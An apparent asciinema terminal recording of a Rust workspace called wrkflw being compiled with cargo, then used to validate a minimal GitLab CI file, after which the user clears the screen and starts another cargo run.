[28.452511, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 188/270: home, nom, strum_macros, hex, pin-project, zerovec, num-cmp, time, tokio, clap, nix, serde \r"]
|
||||
[28.489991, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m which v4.4.2\r\n"]
|
||||
[28.490071, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 189/270: nom, strum_macros, hex, pin-project, zerovec, num-cmp, time, tokio, clap, which, nix, serde \r"]
|
||||
[28.511349, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m iso8601 v0.6.2\r\n\u001b[1m\u001b[36m Building\u001b[0m [================> ] 190/270: nom, strum_macros, iso8601, pin-project, zerovec, num-cmp, time, tokio, clap, which, nix, serde \r"]
|
||||
[28.515445, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m dirs-sys v0.4.1\r\n"]
|
||||
[28.515849, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 191/270: nom, strum_macros, iso8601, pin-project, zerovec, time, tokio, clap, dirs-sys, which, nix, serde \r"]
|
||||
[28.57553, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m indexmap v2.8.0\r\n"]
|
||||
[28.575846, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 192/270: strum_macros, iso8601, pin-project, zerovec, indexmap, time, tokio, clap, dirs-sys, which, nix, serde \r"]
|
||||
[28.586559, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 193/270: strum_macros, iso8601, pin-project, zerovec, indexmap, time, tokio, clap, serde_json, which, nix, serde \r"]
|
||||
[28.600211, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m serde_urlencoded v0.7.1\r\n"]
|
||||
[28.600611, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 194/270: strum_macros, iso8601, pin-project, zerovec, indexmap, time, tokio, clap, serde_json, which, serde_urlencoded, nix \r"]
|
||||
[28.639939, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 195/270: strum_macros, iso8601, pin-project, zerovec, indexmap, ahash, time, tokio, clap, serde_json, serde_urlencoded, nix \r"]
|
||||
[28.71242, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m serde_with v2.3.3\r\n"]
|
||||
[28.712715, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 196/270: strum_macros, iso8601, pin-project, zerovec, indexmap, ahash, time, serde_with, tokio, clap, serde_json, serde_urlencoded \r"]
|
||||
[28.718502, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 197/270: paste(build), strum_macros, iso8601, pin-project, zerovec, indexmap, ahash, time, serde_with, tokio, clap, serde_json \r"]
|
||||
[28.766112, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m crossbeam-epoch v0.9.18\r\n"]
|
||||
[28.766143, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 198/270: paste(build), crossbeam-epoch, strum_macros, iso8601, pin-project, zerovec, indexmap, time, serde_with, tokio, clap, serde_json \r"]
|
||||
[28.804231, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m futures v0.3.31\r\n"]
|
||||
[28.804285, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 199/270: paste(build), crossbeam-epoch, strum_macros, iso8601, zerovec, indexmap, time, serde_with, tokio, clap, futures, serde_json \r"]
|
||||
[28.848245, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m async-trait v0.1.88\r\n"]
|
||||
[28.848379, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 200/270: paste(build), crossbeam-epoch, strum_macros, iso8601, zerovec, indexmap, time, serde_with, tokio, clap, serde_json, async-trait \r"]
|
||||
[28.883251, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m tinystr v0.7.6\r\n"]
|
||||
[28.88339, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 201/270: paste(build), crossbeam-epoch, strum_macros, iso8601, zerovec, time, serde_with, tokio, clap, serde_json, tinystr, async-trait \r"]
|
||||
[28.895154, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_collections v1.5.0\r\n"]
|
||||
[28.895327, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 202/270: paste(build), crossbeam-epoch, strum_macros, zerovec, time, serde_with, tokio, clap, serde_json, tinystr, async-trait, icu_collections \r"]
|
||||
[28.951617, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m serde_yaml v0.9.34+deprecated\r\n"]
|
||||
[28.951647, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 203/270: paste(build), serde_yaml, strum_macros, zerovec, time, serde_with, tokio, clap, serde_json, tinystr, async-trait, icu_collections \r"]
|
||||
[28.963731, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m h2 v0.3.26\r\n"]
|
||||
[28.963758, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 204/270: paste(build), serde_yaml, strum_macros, zerovec, time, serde_with, clap, serde_json, h2, tinystr, async-trait, icu_collections \r"]
|
||||
[28.978714, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m serde_repr v0.1.20\r\n"]
|
||||
[28.978743, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=================> ] 205/270: paste(build), serde_yaml, strum_macros, serde_repr, time, serde_with, clap, serde_json, h2, tinystr, async-trait, icu_collections \r"]
|
||||
[29.061025, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m xattr v1.5.0\r\n"]
|
||||
[29.061094, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 206/270: xattr, paste(build), serde_yaml, strum_macros, serde_repr, time, serde_with, serde_json, h2, tinystr, async-trait, icu_collections \r"]
|
||||
[29.168367, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m filetime v0.2.25\r\n"]
|
||||
[29.16851, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 207/270: xattr, paste(build), serde_yaml, strum_macros, time, serde_with, serde_json, h2, filetime, tinystr, async-trait, icu_collections \r"]
|
||||
[29.200162, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m rayon-core v1.12.1\r\n"]
|
||||
[29.200297, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 208/270: paste(build), serde_yaml, strum_macros, time, serde_with, rayon-core(build.rs), serde_json, h2, filetime, tinystr, async-trait, icu_collections \r"]
|
||||
[29.260113, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m tar v0.4.44\r\n"]
|
||||
[29.260221, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 209/270: paste(build), serde_yaml, strum_macros, time, serde_with, rayon-core(build.rs), tar, serde_json, h2, tinystr, async-trait, icu_collections \r"]
|
||||
[29.277112, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 210/270: rayon-core(build), paste(build), serde_yaml, strum_macros, time, serde_with, tar, serde_json, h2, tinystr, async-trait, icu_collections \r"]
|
||||
[29.279362, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m crossbeam-deque v0.8.6\r\n"]
|
||||
[29.279518, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 211/270: rayon-core(build), paste(build), serde_yaml, strum_macros, crossbeam-deque, time, serde_with, tar, h2, tinystr, async-trait, icu_collections \r"]
|
||||
[29.328543, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m dirs v5.0.1\r\n"]
|
||||
[29.328571, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 212/270: rayon-core(build), paste(build), serde_yaml, strum_macros, crossbeam-deque, time, serde_with, dirs, tar, h2, tinystr, icu_collections "]
|
||||
[29.328594, "o", "\r"]
|
||||
[29.359226, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m crossterm v0.27.0\r\n"]
|
||||
[29.359346, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 213/270: rayon-core(build), paste(build), serde_yaml, strum_macros, time, serde_with, dirs, crossterm, tar, h2, tinystr, icu_collections \r"]
|
||||
[29.38027, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m itertools v0.11.0\r\n"]
|
||||
[29.380463, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 214/270: rayon-core(build), paste(build), serde_yaml, strum_macros, itertools, time, serde_with, crossterm, tar, h2, tinystr, icu_collections \r"]
|
||||
[29.480834, "o", "\u001b[K"]
|
||||
[29.480864, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m models v0.4.0 (/Users/goku/projects/wrkflw/crates/models)\r\n"]
|
||||
[29.48099, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==================> ] 215/270: rayon-core(build), paste(build), serde_yaml, strum_macros, itertools, time, crossterm, tar, h2, tinystr, icu_collections, models \r"]
|
||||
[29.749227, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m matrix v0.4.0 (/Users/goku/projects/wrkflw/crates/matrix)\r\n"]
|
||||
[29.7494, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 216/270: rayon-core(build), serde_yaml, strum_macros, itertools, time, crossterm, tar, h2, matrix, tinystr, icu_collections, models \r"]
|
||||
[29.784576, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m logging v0.4.0 (/Users/goku/projects/wrkflw/crates/logging)\r\n"]
|
||||
[29.784625, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 217/270: rayon-core(build), serde_yaml, strum_macros, itertools, time, crossterm, tar, h2, matrix, logging, tinystr, icu_collections \r"]
|
||||
[29.893603, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m utils v0.4.0 (/Users/goku/projects/wrkflw/crates/utils)\r\n"]
|
||||
[29.893669, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 218/270: rayon-core(build), serde_yaml, strum_macros, itertools, utils, time, crossterm, h2, matrix, logging, tinystr, icu_collections \r"]
|
||||
[29.974513, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m bollard-stubs v1.42.0-rc.7\r\n"]
|
||||
[29.974559, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 219/270: rayon-core(build), bollard-stubs, strum_macros, itertools, utils, time, crossterm, h2, matrix, logging, tinystr, icu_collections \r"]
|
||||
[29.991577, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m runtime v0.4.0 (/Users/goku/projects/wrkflw/crates/runtime)\r\n"]
|
||||
[29.991626, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 220/270: rayon-core(build), bollard-stubs, strum_macros, utils, time, crossterm, h2, matrix, logging, tinystr, icu_collections, runtime \r"]
|
||||
[29.996852, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m validators v0.4.0 (/Users/goku/projects/wrkflw/crates/validators)\r\n\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 221/270: rayon-core(build), bollard-stubs, strum_macros, utils, time, h2, matrix, logging, tinystr, validators, icu_collections, runtime \r"]
|
||||
[30.028518, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 222/270: rayon-core(build), bollard-stubs, strum_macros, utils, paste, time, h2, matrix, tinystr, validators, icu_collections, runtime \r"]
|
||||
[30.082507, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_locid v1.5.0\r\n\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 223/270: rayon-core(build), bollard-stubs, strum_macros, paste, time, h2, matrix, tinystr, validators, icu_locid, icu_collections, runtime \r"]
|
||||
[30.108104, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m hyper v0.14.32\r\n"]
|
||||
[30.108153, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 224/270: rayon-core(build), bollard-stubs, strum_macros, paste, time, hyper, h2, matrix, validators, icu_locid, icu_collections, runtime \r"]
|
||||
[30.141236, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m colored v2.2.0\r\n"]
|
||||
[30.141305, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 225/270: rayon-core(build), bollard-stubs, strum_macros, paste, time, hyper, h2, colored, validators, icu_locid, icu_collections, runtime \r"]
|
||||
[30.145174, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num_cpus v1.16.0\r\n"]
|
||||
[30.145218, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===================> ] 226/270: bollard-stubs, strum_macros, num_cpus, paste, time, hyper, h2, colored, validators, icu_locid, icu_collections, runtime \r"]
|
||||
[30.20999, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m cassowary v0.3.0\r\n\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 227/270: bollard-stubs, strum_macros, paste, time, hyper, h2, colored, validators, icu_locid, cassowary, icu_collections, runtime \r"]
|
||||
[30.303977, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m unicode-segmentation v1.12.0\r\n"]
|
||||
[30.30402, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 228/270: unicode-segmentation, bollard-stubs, strum_macros, paste, time, hyper, h2, colored, icu_locid, cassowary, icu_collections, runtime \r"]
|
||||
[30.392998, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m indoc v2.0.6\r\n"]
|
||||
[30.393666, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 229/270: unicode-segmentation, bollard-stubs, strum_macros, paste, time, hyper, h2, indoc, colored, icu_locid, cassowary, runtime \r"]
|
||||
[30.396679, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m strum v0.25.0\r\n\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 230/270: unicode-segmentation, bollard-stubs, strum, paste, time, hyper, h2, indoc, colored, icu_locid, cassowary, runtime \r"]
|
||||
[30.399296, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m unicode-width v0.1.14\r\n"]
|
||||
[30.399332, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 231/270: unicode-segmentation, bollard-stubs, strum, time, unicode-width, hyper, h2, indoc, colored, icu_locid, cassowary, runtime \r"]
|
||||
[30.407848, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m evaluator v0.4.0 (/Users/goku/projects/wrkflw/crates/evaluator)\r\n"]
|
||||
[30.407878, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 232/270: unicode-segmentation, bollard-stubs, strum, time, unicode-width, hyper, evaluator, h2, indoc, icu_locid, cassowary, runtime \r"]
|
||||
[30.554265, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_provider v1.5.0\r\n"]
|
||||
[30.554908, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 233/270: unicode-segmentation, bollard-stubs, strum, time, hyper, evaluator, h2, indoc, icu_locid, cassowary, icu_provider, runtime \r"]
|
||||
[30.591042, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 234/270: bollard-stubs, strum, time, hyper, rayon-core, evaluator, h2, indoc, icu_locid, cassowary, icu_provider, runtime \r"]
|
||||
[30.604905, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m crossterm v0.26.1\r\n"]
|
||||
[30.605074, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 235/270: bollard-stubs, strum, time, hyper, rayon-core, crossterm, evaluator, h2, indoc, icu_locid, icu_provider, runtime \r"]
|
||||
[30.653721, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m same-file v1.0.6\r\n"]
|
||||
[30.653797, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 236/270: bollard-stubs, strum, time, hyper, rayon-core, crossterm, evaluator, h2, icu_locid, same-file, icu_provider, runtime \r"]
|
||||
[30.691821, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m urlencoding v2.1.3\r\n"]
|
||||
[30.691883, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====================> ] 237/270: urlencoding, bollard-stubs, strum, time, hyper, rayon-core, crossterm, h2, icu_locid, same-file, icu_provider, runtime \r"]
|
||||
[30.708108, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 238/270: urlencoding, bollard-stubs, strum, hyper, rayon-core, crossterm, h2, icu_locid, same-file, icu_provider, runtime \r"]
|
||||
[30.749513, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m ratatui v0.23.0\r\n\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 239/270: urlencoding, bollard-stubs, ratatui, hyper, rayon-core, crossterm, h2, icu_locid, same-file, icu_provider, runtime \r"]
|
||||
[30.756806, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m walkdir v2.5.0\r\n\u001b[1m\u001b[36m Building\u001b[0m "]
|
||||
[30.756853, "o", "[=====================> ] 240/270: urlencoding, bollard-stubs, walkdir, ratatui, hyper, rayon-core, crossterm, h2, icu_locid, icu_provider, runtime \r"]
|
||||
[30.764425, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 241/270: urlencoding, bollard-stubs, walkdir, ratatui, hyper, rayon-core, crossterm, h2, icu_locid, icu_provider \r"]
|
||||
[30.794001, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m rayon v1.10.0\r\n"]
|
||||
[30.794057, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 241/270: urlencoding, bollard-stubs, walkdir, ratatui, hyper, rayon-core, crossterm, h2, rayon, icu_locid, icu_provider \r"]
|
||||
[30.83092, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 242/270: urlencoding, bollard-stubs, walkdir, ratatui, hyper, rayon-core, crossterm, h2, rayon, icu_provider \r"]
|
||||
[30.838227, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 243/270: bollard-stubs, walkdir, ratatui, hyper, rayon-core, crossterm, h2, rayon, icu_provider \r"]
|
||||
[30.846511, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 244/270: bollard-stubs, walkdir, ratatui, hyper, rayon-core, crossterm, rayon, icu_provider \r"]
|
||||
[30.914955, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 245/270: bollard-stubs, walkdir, ratatui, hyper, crossterm, rayon, icu_provider \r"]
|
||||
[30.917348, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 246/270: bollard-stubs, ratatui, hyper, crossterm, rayon, icu_provider \r"]
|
||||
[30.978944, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 247/270: bollard-stubs, ratatui, hyper, rayon, icu_provider \r"]
|
||||
[31.11234, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_locid_transform v1.5.0\r\n"]
|
||||
[31.112427, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 247/270: bollard-stubs, ratatui, hyper, icu_locid_transform, rayon, icu_provider \r"]
|
||||
[31.162661, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 248/270: bollard-stubs, ratatui, hyper, icu_locid_transform, rayon \r"]
|
||||
[31.401195, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_properties v1.5.1\r\n"]
|
||||
[31.401226, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 248/270: bollard-stubs, ratatui, hyper, icu_locid_transform, icu_properties, rayon \r"]
|
||||
[31.420216, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m hyper-tls v0.5.0\r\n"]
|
||||
[31.42035, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m hyperlocal v0.8.0\r\n\u001b[1m\u001b[36m Building\u001b[0m [=====================> ] 248/270: bollard-stubs, hyperlocal, hyper-tls, ratatui, hyper, icu_locid_transform, icu_properties, rayon \r"]
|
||||
[31.524709, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 249/270: bollard-stubs, hyperlocal, ratatui, hyper, icu_locid_transform, icu_properties, rayon \r"]
|
||||
[31.556444, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 250/270: bollard-stubs, ratatui, hyper, icu_locid_transform, icu_properties, rayon \r"]
|
||||
[31.566354, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 251/270: bollard-stubs, ratatui, hyper, icu_properties, rayon \r"]
|
||||
[31.685692, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 252/270: bollard-stubs, ratatui, icu_properties, rayon \r"]
|
||||
[31.74925, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 253/270: bollard-stubs, ratatui, icu_properties \r"]
|
||||
[31.927424, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 254/270: bollard-stubs, icu_properties \r"]
|
||||
[32.170935, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_normalizer v1.5.0\r\n"]
|
||||
[32.170967, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 254/270: bollard-stubs, icu_normalizer, icu_properties \r"]
|
||||
[32.268484, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 255/270: bollard-stubs, icu_normalizer \r"]
|
||||
[32.367189, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m idna_adapter v1.2.0\r\n"]
|
||||
[32.367291, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 255/270: bollard-stubs, icu_normalizer, idna_adapter \r"]
|
||||
[32.408588, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m idna v1.0.3\r\n"]
|
||||
[32.408647, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 255/270: bollard-stubs, idna, icu_normalizer, idna_adapter \r"]
|
||||
[32.41806, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 256/270: bollard-stubs, idna, icu_normalizer \r"]
|
||||
[32.492269, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 257/270: bollard-stubs, idna \r"]
|
||||
[32.545839, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m url v2.5.4\r\n"]
|
||||
[32.545928, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 257/270: bollard-stubs, idna, url \r"]
|
||||
[32.629833, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 258/270: bollard-stubs, url \r"]
|
||||
[32.759557, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m reqwest v0.11.27\r\n"]
|
||||
[32.759587, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 258/270: bollard-stubs, reqwest, url \r"]
|
||||
[32.835456, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 259/270: bollard-stubs, reqwest \r"]
|
||||
[33.312497, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m bollard v0.14.0\r\n"]
|
||||
[33.312523, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 259/270: bollard-stubs, bollard, reqwest \r"]
|
||||
[33.331502, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m jsonschema v0.17.1\r\n"]
|
||||
[33.331527, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m github v0.4.0 (/Users/goku/projects/wrkflw/crates/github)\r\n\u001b[1m\u001b[32m Compiling\u001b[0m gitlab v0.4.0 (/Users/goku/projects/wrkflw/crates/gitlab)\r\n"]
|
||||
[33.331737, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======================> ] 259/270: bollard-stubs, github, bollard, gitlab, jsonschema, reqwest \r"]
|
||||
[33.393223, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 260/270: github, bollard, gitlab, jsonschema, reqwest \r"]
|
||||
[33.595709, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 261/270: github, bollard, jsonschema, reqwest \r"]
|
||||
[33.604039, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 262/270: bollard, jsonschema, reqwest \r"]
|
||||
[34.004668, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 263/270: bollard, jsonschema \r"]
|
||||
[34.015674, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m parser v0.4.0 (/Users/goku/projects/wrkflw/crates/parser)\r\n"]
|
||||
[34.015746, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 263/270: parser, bollard, jsonschema \r"]
|
||||
[34.346413, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 264/270: parser, bollard \r"]
|
||||
[34.500995, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 265/270: bollard \r"]
|
||||
[34.745632, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m executor v0.4.0 (/Users/goku/projects/wrkflw/crates/executor)\r\n"]
|
||||
[34.74581, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 265/270: bollard, executor \r"]
|
||||
[35.477556, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 266/270: executor \r"]
|
||||
[35.613178, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m ui v0.4.0 (/Users/goku/projects/wrkflw/crates/ui)\r\n"]
|
||||
[35.613272, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 266/270: ui, executor \r"]
|
||||
[35.999581, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 267/270: ui \r"]
|
||||
[36.013859, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m wrkflw v0.4.0 (/Users/goku/projects/wrkflw/crates/wrkflw)\r\n"]
|
||||
[36.013926, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 267/270: ui, wrkflw \r"]
|
||||
[36.063415, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 268/270: ui \r"]
|
||||
[36.374123, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======================> ] 269/270: wrkflw(bin) \r"]
|
||||
[36.934682, "o", "\u001b[K\u001b[1m\u001b[32m Finished\u001b[0m `dev` profile [unoptimized + debuginfo] target(s) in 16.45s\r\n"]
|
||||
[36.946554, "o", "\u001b[1m\u001b[32m Running\u001b[0m `target/debug/wrkflw validate test_gitlab_ci/minimal.gitlab-ci.yml`\r\n"]
|
||||
[37.469642, "o", "Validating GitLab CI pipeline file: test_gitlab_ci/minimal.gitlab-ci.yml... ✅ Valid syntax\r\n"]
|
||||
[37.470535, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[37.471315, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007"]
|
||||
[37.471326, "o", "\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[37.473048, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[37.47485, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[37.474976, "o", "\u001b[?1h\u001b="]
|
||||
[37.475042, "o", "\u001b[?2004h"]
|
||||
[39.504083, "o", "c"]
|
||||
[39.575281, "o", "\bca"]
|
||||
[39.985807, "o", "r"]
|
||||
[40.110435, "o", "g"]
|
||||
[40.247171, "o", "o"]
|
||||
[40.366603, "o", " "]
|
||||
[40.491496, "o", "r"]
|
||||
[41.167474, "o", "\b \b"]
|
||||
[41.318578, "o", "\b"]
|
||||
[41.464227, "o", "\b \b"]
|
||||
[41.588577, "o", "\b \b"]
|
||||
[41.725879, "o", "\b \b"]
|
||||
[41.849987, "o", "\b\bc \b"]
|
||||
[42.776052, "o", "\bcl"]
|
||||
[42.880903, "o", "e"]
|
||||
[43.132681, "o", "a"]
|
||||
[43.245463, "o", "r"]
|
||||
[43.601618, "o", "\u001b[?1l\u001b>"]
|
||||
[43.601729, "o", "\u001b[?2004l\r\r\n"]
|
||||
[43.603201, "o", "\u001b]2;clear\u0007\u001b]1;clear\u0007"]
|
||||
[43.630852, "o", "\u001b[3J\u001b[H\u001b[2J"]
|
||||
[43.631162, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[43.632238, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007"]
|
||||
[43.632263, "o", "\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[43.635069, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[43.637553, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[43.637652, "o", "\u001b[?1h\u001b="]
|
||||
[43.637664, "o", "\u001b[?2004h"]
|
||||
[43.991397, "o", "c"]
|
||||
[44.088651, "o", "\bca"]
|
||||
[44.374368, "o", "r"]
|
||||
[44.446833, "o", "g"]
|
||||
[44.53755, "o", "o"]
|
||||
[44.628977, "o", " "]
|
||||
[44.812984, "o", "r"]
|
